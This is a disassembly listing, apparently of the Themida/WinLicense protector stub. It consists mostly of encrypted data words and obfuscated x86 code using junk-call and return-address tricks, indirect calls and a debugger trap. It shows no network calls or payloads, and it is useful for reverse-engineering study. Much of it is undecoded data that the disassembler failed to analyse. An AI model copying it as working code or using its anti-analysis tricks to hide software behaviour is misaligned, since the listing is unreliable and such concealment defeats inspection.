		dd 6173410Fh, 95290000h, 61233B1h, 8C0F0000h, 0Bh, 6E9h
		dd 0BCBA7A00h
		db 5Ch,	3, 0A7h
; ---------------------------------------------------------------------------


loc_57FDA7:				; CODE XREF: Themida_:loc_57F604j
		lea	eax, [ebp+6123B48h]
		mov	[ebp+6120B1Dh],	edi
		mov	[ebp+6120C69h],	eax
		jmp	loc_57FDCD
; ---------------------------------------------------------------------------
		dw 678Fh
		dd 0B4B564B3h, 75ACBFA4h, 42BFDA23h
; ---------------------------------------------------------------------------
		pop	esi


loc_57FDCD:				; CODE XREF: Themida_:0057FDB9j
		lea	eax, [ebp+61240C4h]
		stc
		mov	[ebp+6121665h],	eax
		jmp	short loc_57FDF0
; ---------------------------------------------------------------------------
		dd 4 dup(0)
		dd 0E2h
; ---------------------------------------------------------------------------


loc_57FDF0:				; CODE XREF: Themida_:0057FDDAj
		lea	eax, [ebp+61243D7h]
		mov	[ebp+6122FE9h],	eax
		cmp	dword ptr [ebp+612430Eh], 0
		jz	loc_57FF3E
		mov	byte ptr [ebp+61215C1h], 56h
		call	near ptr loc_57FE18+1
		cmp	[ebp+1Fh], ebp


loc_57FE18:				; CODE XREF: Themida_:0057FE10p
		aam	50h
		mov	eax, [esp+4]
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	dword ptr [ebp+61217F1h]
		lea	eax, [ebp+6123B48h]
		call	eax
		mov	[ebp+6124302h],	eax
		mov	byte ptr [ebp+61215C1h], 56h
		call	near ptr loc_57FE46+3
		push	edx


loc_57FE46:				; CODE XREF: Themida_:0057FE40p
		mov	eax, 8B509CA8h
		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	dword ptr [ebp+61217F1h]
		lea	eax, [ebp+6123B48h]
		call	eax
		mov	[ebp+6124306h],	eax
		push	4
		push	0EE537534h
		add	dword ptr [esp], 11AC9ACCh
		mov	eax, [ebp+6124312h]
		add	eax, 1F4h
		shl	eax, 2
		push	eax
		mov	[esp], eax
		push	0
		call	dword ptr [ebp+6124306h]
		mov	[ebp+612430Ah],	eax
		mov	ebx, eax
		mov	eax, 0FFFFFFFFh
		call	dword ptr [ebp+6122FE9h]
		mov	eax, ebx
		call	dword ptr [ebp+6122FE9h]
		jmp	loc_57FF3E
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+612430Eh], 0
		jnz	loc_57FEBF
		retn
; ---------------------------------------------------------------------------


loc_57FEBF:				; CODE XREF: Themida_:0057FEB8j
		push	edi
		mov	edi, [ebp+612430Ah]
		stosd
		add	dword ptr [ebp+612430Ah], 4
		pop	edi
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+612430Eh], 0
		jnz	loc_57FEDE
		retn
; ---------------------------------------------------------------------------


loc_57FEDE:				; CODE XREF: Themida_:0057FED7j
		pusha
		sub	dword ptr [ebp+612430Ah], 4


loc_57FEE6:				; CODE XREF: Themida_:loc_57FF39j
		mov	ebx, [ebp+612430Ah]
		cmp	dword ptr [ebx-4], 0FFFFFFFFh
		jnz	loc_57FF1C
		call	near ptr loc_57FEFB+4


loc_57FEFB:				; CODE XREF: Themida_:0057FEF6p
		add	[eax-74B00000h], al
		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+6124302h]
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_57FF39
; ---------------------------------------------------------------------------


loc_57FF1C:				; CODE XREF: Themida_:0057FEF0j
		push	0A44064DEh
		add	dword ptr [esp], 5BC01B22h
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+6124302h]
		sub	dword ptr [ebp+612430Ah], 4


loc_57FF39:				; CODE XREF: Themida_:0057FF17j
		jmp	loc_57FEE6
; ---------------------------------------------------------------------------


loc_57FF3E:				; CODE XREF: Themida_:0057FE03j
					; Themida_:0057FEACj
		dec	eax
		jmp	loc_580917
; ---------------------------------------------------------------------------
		dd 18D9B2D4h, 501ABDDBh, 0B35428FCh, 8921C521h,	54108FB6h
		dd 0B6E8683Dh, 9EF8D40Fh, 0A7F35503h, 15D99489h, 5816FFD0h
		dd 0E0063FEEh, 0CC26D730h, 377FC4B9h, 0A2E2624Dh, 0CCF4D512h
		dd 0A1F15503h, 15D99786h, 4509FFCAh, 0FE0620F4h, 0DB3DC92Ch
		dd 5414CAADh, 0A6F52E79h, 9EB9C412h, 0A1E41B02h, 0CD98192h
		dd 4508B0CCh, 820FAh, 13h dup(0)
dword_57FFFC	dd 50h dup(0)	; ---------------------------------------------------------------------------
		aam	0B2h
		fst	dword ptr [ecx]
		sal	dword ptr [ecx+3FF44306h], 1
		push	es
		jecxz	short loc_580184
		retf
; ---------------------------------------------------------------------------
		dw 0DB35h
		dd 525587B5h, 0A1A77D7Ch, 0CCB6D504h, 0A0E85410h, 98BD383h
		dd 5906B1D0h, 0FD4F6DFCh, 0DC3DDD69h, 4306CAA6h, 0AEE27A6Eh
		dd 0BCD5BA4Fh, 0BDFC5E1Ah, 9D9DF82h, 5600B3D0h
; ---------------------------------------------------------------------------


loc_580184:				; CODE XREF: Themida_:00580147j
		jmp	fword ptr [ebp+4Fh]
; ---------------------------------------------------------------------------
		db 0E7h
		dd 0C620C269h, 5F18CAB9h, 0BAF56170h, 88B6D141h, 0BDF84956h
		dd 88B9293h, 4200A69Eh,	0E1566DE9h, 0C820C326h,	0C4B9h
		dd 48h dup(0)
; ---------------------------------------------------------------------------
		aam	0B2h
		fstp	dword ptr [edi]
		int	3		; Trap to Debugger
		mov	esi, 3FFE5C0Ch
		add	eax, esp
		imul	edx, eax, 0CAB8C63Dh
		sbb	eax, 0E52E6E5Bh
		cmpsb
		add	al, 0DEh
		clc
		mov	bl, [ecx]
		dec	esi
		rep stosb
		mov	dword ptr [ecx-492FED74h], 24BB5001h
		dec	eax
		mov	bl, 30h
		retf
; ---------------------------------------------------------------------------
		dw 0DB27h
		dd 490C99F4h, 0EDEA6B69h, 8088BD6Bh, 0ABEE5A13h, 128CD3CBh
		dd 530EB0D2h, 0B35224BBh, 0C43DD62Fh, 571087F4h, 0E3FE7C72h
		dd 0CCBCDE00h, 0BAEE5E04h, 5C8D8186h, 451AB0C7h, 0FC543DBBh
		dd 0C433D62Eh, 0FAh, 61h dup(0)
		dd 1090B5D4h, 580CFFDBh, 0E3533FE9h, 8836C13Dh,	5221CAFAh
		dd 0B3A77D74h, 9EBFDF13h, 0A6BD5617h, 1ED98086h, 1701BADBh
		dd 0FA482CF6h, 0C83ED139h, 1A118FA0h, 0E3E3607Ch, 8EA1D10Ch
		dd 0A7903113h, 5C8AD493h, 5209B1D7h, 0F74339F8h, 892BC669h
		dd 5323CAB5h, 0E3F47B6Fh, 8FF8C20Eh, 0A5FE5A04h, 5CD79782h
		dd 4406B7EAh, 0FF4F2BBBh, 0C625842Ch, 1A01CDBAh, 0A8F5616Ah
		dd 95B6D141h, 0ABEF541Bh, 0C9h,	0E0h dup(0)
aWlnumdllsprot	db 'WLNumDLLsProt',0
a0		db '0',0
		dd 8 dup(0)
		dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_580917:				; CODE XREF: Themida_:0057FF3Fj
		jmp	loc_58373B
; ---------------------------------------------------------------------------
		jnz	loc_580925
		mov	dx, si


loc_580925:				; CODE XREF: Themida_:0058091Cj
		cld
		push	0
		push	edx
		call	sub_580931
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580931	proc near		; CODE XREF: Themida_:00580929p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_580931	endp

; ---------------------------------------------------------------------------
		db 80h,	8Fh, 5Dh
		db 8Bh,	0C0h
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+61213E1h]
		cmp	dword ptr [ebp+6122F01h], 0
		jnz	short loc_58095E
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_580971


loc_58095E:				; CODE XREF: Themida_:00580953j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 1
		lea	ebx, [ebp+614ABABh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_580971:				; CODE XREF: Themida_:0058095Cj
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_58098B
		push	eax
		push	ebx
		mov	eax, 1
		lea	ebx, [ebp+614AA5Ch]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_58098B:				; CODE XREF: Themida_:00580978j
		mov	ebx, eax
		mov	dx, ax
		mov	eax, eax
		jmp	loc_5809A7
; ---------------------------------------------------------------------------
		db 9Eh
		dd 440664EEh, 17DA98Ah,	3E4D7E0Dh
		db 15h,	8, 0C2h
; ---------------------------------------------------------------------------


loc_5809A7:				; CODE XREF: Themida_:00580992j
		cmp	dword ptr [ebp+612294Dh], 0
		jz	loc_580BC6
		push	0
		push	ebx
		call	sub_5809BF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5809BF	proc near		; CODE XREF: Themida_:005809B7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5809BF	endp

; ---------------------------------------------------------------------------
		db 99h
		dd 32138F96h, 0F8634D0h, 168Bh,	11E900h, 2F3C0000h, 36FC1B7Ch
		dd 0A5338CB1h, 2DEE9953h, 839AD121h, 120889BDh,	840F0006h
		dd 1C6h, 6E9h, 50F72500h, 607D3B90h, 858BC4B6h,	6120889h
		dd 3E805h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 50A6979Eh, 0D78B6056h, 5A61CA8Bh
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0FD4C355h, 688h, 899D8B00h, 8D061224h
		dd 124E2485h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 9A9FFDBDh, 65D2819Ch, 903F1001h
		dd 0F50F48Ah, 84h, 6A9000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 3E6A6FC3h, 9E806394h
		dd 7D8589F5h, 8D061227h, 124E0285h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0E38BB472h
		dd 0BC55CB5Fh, 14E9C1h,	6C1C0000h, 2C393439h, 83BDDDCh
		dd 1DF81138h, 485BA135h, 6090FE73h, 0EE9h, 4F8F8200h, 4410FCDDh
		dd 0BD6273ECh, 611885E5h, 0D38B6650h, 0D38B6690h, 132195FFh
		dd 9D8B0612h, 6122395h,	660CC483h, 0F064EB81h, 8DDEBF0Fh
		dd 124E0285h, 91B58906h, 66061232h, 69ABDA81h, 52505090h
		dd 5E8h, 131D3600h, 0F5B30D8h, 5A585A31h, 0E9525050h, 0Dh
		dd 9A6C27F1h, 0B05A33EBh, 0F37EDB90h, 52310FAAh, 5A5A6160h
		dd 6A9058h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 50F6C7C3h, 6EE056D9h, 0F5D08B60h,	0D78B026Ah
		dd 4CC38166h, 1495FF7Eh, 57006AEDh, 615B1DB3h, 19719D8Bh
; ---------------------------------------------------------------------------
		adc	al, [esi]


loc_580BC6:				; CODE XREF: Themida_:005809AEj
		mov	dword ptr [ebp+6124E35h], 1
		mov	edx, 2FB26D23h
		xchg	eax, esi
		mov	ebx, 1AD509A3h
		push	eax
		jmp	loc_580BEE
; ---------------------------------------------------------------------------
		db 24h,	0B0h, 0FAh
		dd 0E4F05D12h, 0C59713C2h
		db 0DBh, 9Dh
; ---------------------------------------------------------------------------


loc_580BEE:				; CODE XREF: Themida_:00580BDCj
		xchg	eax, esi
		push	0
		push	edx
		call	sub_580BFA
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580BFA	proc near		; CODE XREF: Themida_:00580BF2p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_580BFA	endp

; ---------------------------------------------------------------------------
		dw 9EBDh
; ---------------------------------------------------------------------------
		push	0BB63BDA8h
		not	dword ptr [esi-226A7453h]
		add	[edx], dl
		push	es
		mov	ebx, [ebp+61218BDh]
		mov	[ebp+6124DE6h],	esi
		push	0
		push	ebp
		call	sub_580C31
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580C31	proc near		; CODE XREF: Themida_:00580C29p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_580C31	endp

; ---------------------------------------------------------------------------
		db 3Eh,	0C7h, 55h
		dd 607291D0h, 2D21B52Bh, 8A0F0612h, 4, 0A3F2B866h, 0E9BD8361h
		dd 106120Eh, 28850Fh, 9E80000h,	12000000h, 81B91087h, 431F5343h
		dd 5ADF8B66h, 44D9D29h,	0F8830612h, 7850F05h, 0B8000000h
		dd 0
; ---------------------------------------------------------------------------
		mov	dl, 18h
		cmp	dword ptr [ebp+6123409h], 0
		jz	loc_580CF6
		jmp	loc_580CAE
; ---------------------------------------------------------------------------
		dd 97ECA8E1h, 0F602674h, 97A6670Ch
		db 7Eh,	97h
; ---------------------------------------------------------------------------


loc_580CAE:				; CODE XREF: Themida_:00580C9Bj
		pusha
		mov	[ebp+6121505h],	edi
		call	dword ptr [ebp+6123409h]
		popa
		push	0
		push	edi
		call	sub_580CC7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580CC7	proc near		; CODE XREF: Themida_:00580CBFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_580CC7	endp

; ---------------------------------------------------------------------------
		db 42h
		dd 12E9B6h, 55150000h, 2C4B2726h, 0A75B3616h, 41AF2057h
		dd 53A938F0h, 0B1D9D89h
; ---------------------------------------------------------------------------
		adc	al, [esi]


loc_580CF6:				; CODE XREF: Themida_:00580C95j
		cmp	dword ptr [ebp+612309Dh], 0
		jz	loc_580D58
		push	0
		push	ebx
		call	sub_580D0E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580D0E	proc near		; CODE XREF: Themida_:00580D06p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_580D0E	endp

; ---------------------------------------------------------------------------
		dw 0F172h
		dd 2F04F219h, 2FCDBE74h, 0B8DE8Bh, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 2866C352h, 101CA3A9h, 79EBD824h, 5DD1BB66h
; ---------------------------------------------------------------------------


loc_580D58:				; CODE XREF: Themida_:00580CFDj
		pusha
		mov	ebx, ecx
		add	[ebp+612329Dh],	ebx
		mov	eax, [ebp+61218A9h]
		mov	[ebp+61219CDh],	edi
		add	eax, 2
		jmp	loc_580D7D
; ---------------------------------------------------------------------------
		db 0B3h, 40h, 0E7h
		dd 3633870Bh
; ---------------------------------------------------------------------------
		sahf


loc_580D7D:				; CODE XREF: Themida_:00580D70j
		mov	[ebp+6124DDEh],	eax
		mov	[ebp+6120375h],	edi
		mov	byte ptr [eax],	0FFh
		or	[ebp+6121305h],	edx
		mov	byte ptr [ebp+61215C1h], 53h
		mov	[ebp+61229E1h],	eax
		push	0E593A58Ah
		jmp	loc_580DB2
; ---------------------------------------------------------------------------
		db 0A9h, 0E7h, 0EAh
; ---------------------------------------------------------------------------
		xor	eax, 0D03E208h
		pop	eax


loc_580DB2:				; CODE XREF: Themida_:00580DA4j
		xor	dword ptr [esp], 1922ED52h
		push	0
		push	edx
		call	sub_580DC4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580DC4	proc near		; CODE XREF: Themida_:00580DBCp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_580DC4	endp

; ---------------------------------------------------------------------------
		dd 0BA66ED64h, 0B5FFF6ACh, 6123101h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0D3C35646h,	80119046h, 0E8CE807Ch
		dd 827A858Dh, 0BD010615h, 6120C55h, 9D8BD0FFh, 6122C91h
		dd 29D18589h, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 613F2DC3h, 0E77E67D4h, 2561BD83h
		dd 0F010612h, 16085h, 0CE900h, 7C1E0000h, 5C865EF8h, 0DBA75CDh
		dd 6A614D29h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0EEC353h, 89F23E20h, 1222D18Dh
		dd 0C185C606h, 45061215h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 66C35242h, 68030F3Dh,	0D32DC097h, 0E95AF850h
		dd 13h,	39C177C3h, 732B6777h, 6F67BB73h, 0D3301596h, 6884030Bh
		dd 74098856h, 52505250h, 310FDE8Ah, 0AE9h, 8EA53400h, 3F57DC5Eh
		dd 5AF466EBh, 0E8310F58h, 12h, 0CEB1289Eh, 0E64FB2CAh
		dd 0C10376D6h, 0AFC6F8Dh, 5A56C9C2h, 81585A5Bh,	0B06C2404h
		dd 0B5FF6656h, 6123101h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 9CC35242h, 97F28A5Fh,	66A605EAh, 8D210BBAh
		dd 15827A85h, 81958B06h, 0FF061213h, 0D18589D0h, 6A061220h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 62020000h, 89F4C5F6h, 122371B5h,	6AD0FF06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0A942C357h, 0C7EAC9E5h, 0DF8B6641h, 0E89BB960h
		dd 850F1550h, 0
; ---------------------------------------------------------------------------
		popa
		cmp	dword ptr [ebp+6122709h], 1
		jnz	loc_5810A3
		jno	loc_580FC6
		mov	ebx, [ebp+61214E1h]


loc_580FC6:				; CODE XREF: Themida_:00580FBAj
		movzx	ebx, di
		mov	eax, [ebp+61218A9h]
		push	0
		push	ecx
		call	sub_580FDA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580FDA	proc near		; CODE XREF: Themida_:00580FD2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_580FDA	endp

; ---------------------------------------------------------------------------
		dw 97DBh
; ---------------------------------------------------------------------------
		pusha
		jl	loc_580FF5
		pusha
		popa


loc_580FF5:				; CODE XREF: Themida_:00580FEDj
		popa
		sub	[ebp+6123461h],	edx
		jmp	loc_581007
; ---------------------------------------------------------------------------
		push	edi
		dec	edx
		retn
; ---------------------------------------------------------------------------
		add	edi, [esp+eax*4]


loc_581007:				; CODE XREF: Themida_:00580FFCj
		jmp	loc_58108E
; ---------------------------------------------------------------------------
		ja	loc_581015
		mov	dx, si


loc_581015:				; CODE XREF: Themida_:0058100Cj
					; Themida_:00581091j
		nop
		push	edx
		mov	bl, 79h
		pop	edx
		push	eax
		push	eax
		push	edi
		js	$+6
		pop	edx
		pop	edx
		nop
		push	0
		push	eax
		call	sub_581031
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581031	proc near		; CODE XREF: Themida_:00581029p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_581031	endp

; ---------------------------------------------------------------------------
		dd offset loc_58DC76+3
		db 6Ah,	89h, 0A9h
; ---------------------------------------------------------------------------
		xor	bh, [esi]
		lodsb
		mov	[ebp+61229A9h],	eax
		push	14h
		push	0
		push	ebp
		call	sub_58105E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58105E	proc near		; CODE XREF: Themida_:00581056p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_58105E	endp

; ---------------------------------------------------------------------------
		dec	esi
		movsb
		stc
		xchg	dh, ch
		xchg	eax, esi
		xchg	eax, ebx
		mov	ebx, [ebp+6122169h]
		call	dword ptr [ebp+61229D1h]
		mov	ebx, 3BC1C25Ah
		pop	eax
		push	ecx
		sub	dx, 6B8h
		pop	edx


loc_58108E:				; CODE XREF: Themida_:loc_581007j
		cmp	byte ptr [eax],	0
		jnz	loc_581015
		sub	edx, 3A6D0341h
		mov	byte ptr [eax],	1
		or	dl, 0DEh


loc_5810A3:				; CODE XREF: Themida_:00580FB4j
		popa
		mov	[ebp+61212C9h],	ebx
		cmp	dword ptr [ebp+6120881h], 0
		jz	loc_581109
		sub	[ebp+6123025h],	edx
		or	bx, 0F17Ah
		push	0FFFFFFFFh
		add	bl, 0F5h
		call	dword ptr [ebp+61229D1h]
		push	0
		push	ebx
		call	sub_5810D8
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5810D8	proc near		; CODE XREF: Themida_:005810D0p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5810D8	endp

; ---------------------------------------------------------------------------
		dd 1D51BA70h, 9D33159Eh, 6121E51h, 3325B501h
		db 12h,	6, 0E9h
; ---------------------------------------------------------------------------

locret_5810FB:				; CODE XREF: Themida_:00581133j
		retn
; ---------------------------------------------------------------------------
		dd 0BAFFFFFFh, 6D578C98h, 363977BBh
		db 65h
; ---------------------------------------------------------------------------


loc_581109:				; CODE XREF: Themida_:005810B1j
		mov	dword ptr [ebp+6120881h], 1
		mov	edx, ebx
		mov	[ebp+6124DEAh],	eax
		movzx	ebx, dx
		push	eax
		call	sub_581138
		lodsd
		push	74h
		mov	esp, [ebx]
		adc	ds:36E31460h, ah
		into
		inc	ecx
		loope	near ptr loc_581141+2
		jnb	short locret_5810FB
		xor	[di], dl

; =============== S U B	R O U T	I N E =======================================



sub_581138	proc near		; CODE XREF: Themida_:0058111Fp

arg_0		= dword	ptr  4

		push	ecx
		pop	edx
		pop	edx
		mov	[esp-4+arg_0], eax
		push	0
		push	esi


loc_581141:				; CODE XREF: Themida_:00581131j
		call	sub_581149
		and	[esi-3Dh], bl
sub_581138	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_581149	proc near		; CODE XREF: sub_581138:loc_581141p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_581149	endp

; ---------------------------------------------------------------------------
		db 85h,	30h, 63h
		dd 666060BCh, 0D8C9C181h, 2021BD8Bh, 6A610612h,	0A1BD0905h
		dd 8D061211h, 124E0285h, 21850106h, 90061204h, 6650ABB6h
		dd 90B81CBBh, 68C0F60h,	0F000000h, 8Ah,	459D2900h, 61061226h
		dd 1CB1B589h, 858D0612h, 6124DF2h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 16C35040h, 891E8A63h, 0C46ADDC5h
		dd 6650FC28h, 899CB2BBh, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 245990C3h, 4C4B8793h
		dd 0FFD38B66h, 12144D95h, 0DFB70F06h, 6860Fh, 952B0000h
		dd 6121CC5h, 7BCE8D8Dh,	0BB660612h, 0C00BE919h,	858D1174h
		dd 6124E02h, 89D1FF50h,	124E2085h, 0C70AEB06h, 124E2085h
		dd 0FFFFFF06h, 56006AFFh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 5FBA6FDBh, 5E92D58h, 0B3000000h
		dd 498E568Fh, 0B6C2BB66h, 8BD8BF0Fh, 1230C59Dh,	820F6106h
		dd 6, 1FC5BD01h, 85C60612h, 61215C1h, 52006A4Dh, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 0F5D78BB5h, 51B531h,	4E80612h, 0A8000000h, 60A43576h
		dd 9831BE66h, 1CD9B866h, 448B5061h, 86BB0424h, 8B3BB998h
		dd 24448900h, 58A8B204h, 5E8h, 0D2E35000h, 0BD89DA82h
		dd 612130Dh, 81B5FF5Ah,	0F061203h, 858DD0B7h, 615827Ah
		dd 1F8D8531h, 0B5890612h, 6120885h, 6AD0FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0DBD695C3h
		dd 8B7ADA74h, 1215259Dh, 9858906h, 6A06122Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0D172C356h, 0BD316345h, 6122D41h, 0C6D3B70Fh, 1215C185h
		dd 6A4506h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0DB5EC7C3h, 9D8960FCh, 612184Dh, 7F6861F5h
		dd 0B631C5FFh, 24048165h, 5CAC69EAh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 28C35040h, 9EA5C46Dh, 0FFDE8B66h
		dd 123101B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 2840CE07h, 5E7E2CF3h, 0EE94Ch, 1C090000h
		dd 11E6A0B6h, 8575461Eh, 0A8383968h, 827A858Dh,	2DBA0615h
		dd 0FF75B50Bh, 6D8D01D0h, 8906122Ch, 122E3D85h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 7DC65942h, 4BACD548h, 0C2816673h, 0B70F0D28h, 0FD28BD2h
		dd 689h, 51E28100h, 66161590h, 0BF0FD98Ch, 4C1F6D8h, 201840Fh
		dd 81660000h, 0E9FBDED3h, 107h,	1EED8D89h, 0B58B0612h
		dd 61212C1h, 0C68121B2h, 1180h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0EDC35141h,	2FBB66BEh, 119D0B89h
		dd 8306122Eh, 122855BDh, 850F0006h, 2Bh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 16h, 2DC35545h, 0A0B725DBh
		dd 7AE9h, 0D99D8900h, 83061221h, 840F003Eh, 6Bh, 816660F9h
		dd 6AC3ADEAh, 0D8B70F14h, 29D195FFh, 0BD890612h, 612130Dh
		dd 57006A61h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 98F381ADh, 8B20E362h, 0FFB5E9D1h, 6AFFFFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0A66ECEC3h, 6039E678h, 8FE8C081h, 0C7615A7Ch, 106h
		dd 0FE900h, 8F3B0000h, 381C0BEEh, 0CB8FDE35h, 9721BBA5h
		dd 25BD8953h, 83061213h, 124DEABDh, 850F0506h, 0E3h, 7E8h
		dd 49311C00h, 18FD0CEDh, 0B58B5BF9h, 6122E3Dh, 7928CA81h
		dd 64B967CEh, 0BA000000h, 1692A078h, 0FE83E80h,	1A84h
		dd 2DB58900h, 0E9061216h, 1Dh, 3810Fh, 0C2800000h, 198D293Eh
		dd 80061232h, 0FC2057Eh, 6F84h,	90BB6600h, 6A463Eh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0A3A83EC3h, 958BC2CDh, 6121B51h, 0A1850F49h,	6AFFFFFFh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0D36EC353h, 1A1DB29h, 0DA819D49h,	47B9FFF8h
		dd 32E9h, 8B60F900h, 1233F1B5h,	0C9958906h, 6106121Bh
		dd 28E9B589h, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 58E316C3h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 8C35242h, 0E3BE3229h, 11E8CDA0h
		dd 0C6000000h, 9EDBF0BAh, 0A5F7603Eh, 69ABCF2Fh, 0D06AE1DBh
		dd 2AFD958Bh, 835A0612h, 121A89BDh, 840F0006h, 0EFh, 5E83E381h
		dd 6A603C69h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 89B1C355h, 12249D85h, 0C185C606h
		dd 54061215h, 9244DA81h, 62683C59h, 0BBA834F2h,	288B511Dh
		dd 92240481h, 6A5719CCh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0B29EC355h,	9E9h, 0ACEE1600h
		dd 4952D6FAh, 0B5FFB0C8h, 6123101h, 1DCB8166h, 8DFBB364h
		dd 15827A85h, 4D958906h, 0FF06122Dh, 6A87B6D0h,	48C0F00h
		dd 66000000h, 0FFBC96BAh, 121A89B5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 5A7117E6h
